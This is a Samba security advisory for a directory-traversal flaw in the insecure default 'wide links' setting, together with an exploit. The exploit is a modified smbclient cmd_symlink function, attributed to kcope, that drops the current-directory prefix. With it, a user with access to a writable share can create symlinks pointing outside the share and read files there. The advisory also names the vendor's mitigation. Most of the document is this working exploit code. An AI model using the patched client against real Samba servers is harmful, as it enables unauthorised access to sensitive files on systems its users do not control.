source: http://www.securityfocus.com/bid/38111/info
 
Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
 
Exploits would allow an attacker to access files outside of the Samba user's root directory to obtain sensitive information and perform other attacks.
 
To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts.
 
NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide links = no' in the '[global]' section of 'smb.conf'.
 
smbclient patch (exploit):

samba-3.4.5/source3/client/client.c
/****************************************************************************
 UNIX symlink.
****************************************************************************/

static int cmd_symlink(void)
{
        TALLOC_CTX *ctx = talloc_tos();
        char *oldname = NULL;
        char *newname = NULL;
        char *buf = NULL;
        char *buf2 = NULL;
        char *targetname = NULL;
        struct cli_state *targetcli;

        if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
            !next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
                d_printf("symlink <oldname> <newname>\n");
                return 1;
        }
        oldname = talloc_asprintf(ctx,
                        "%s", // << HERE modified
                        buf);
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        "%s", // << HERE modified
                        buf2);
        if (!newname) {
                return 1;
        }
/* ORIGINAL SMBCLIENT SOURCE LINES TO BE MODIFIED (SEE ABOVE).
      oldname = talloc_asprintf(ctx,
                        "%s%s", // < modified (see above)
                        client_get_cur_dir(), // < removed (see above)
                        buf);
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        "%s%s", // < modified (see above)
                        client_get_cur_dir(), // < removed (see above)
                        buf2);
        if (!newname) {
                return 1;
        }
----------------------------------------------*/

        if (!cli_resolve_path(ctx, "", auth_info, cli, oldname, &targetcli, &targetname)) {
                d_printf("link %s: %s\n", oldname, cli_errstr(cli));
                return 1;

        }

        if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
                d_printf("Server doesn't support UNIX CIFS calls.\n");
                return 1;
        }

        if (!cli_unix_symlink(targetcli, targetname, newname)) {
                d_printf("%s symlinking files (%s -> %s)\n",
                        cli_errstr(targetcli), newname, targetname);
                return 1;
        }

        return 0;
}

// Cheers,
// kcope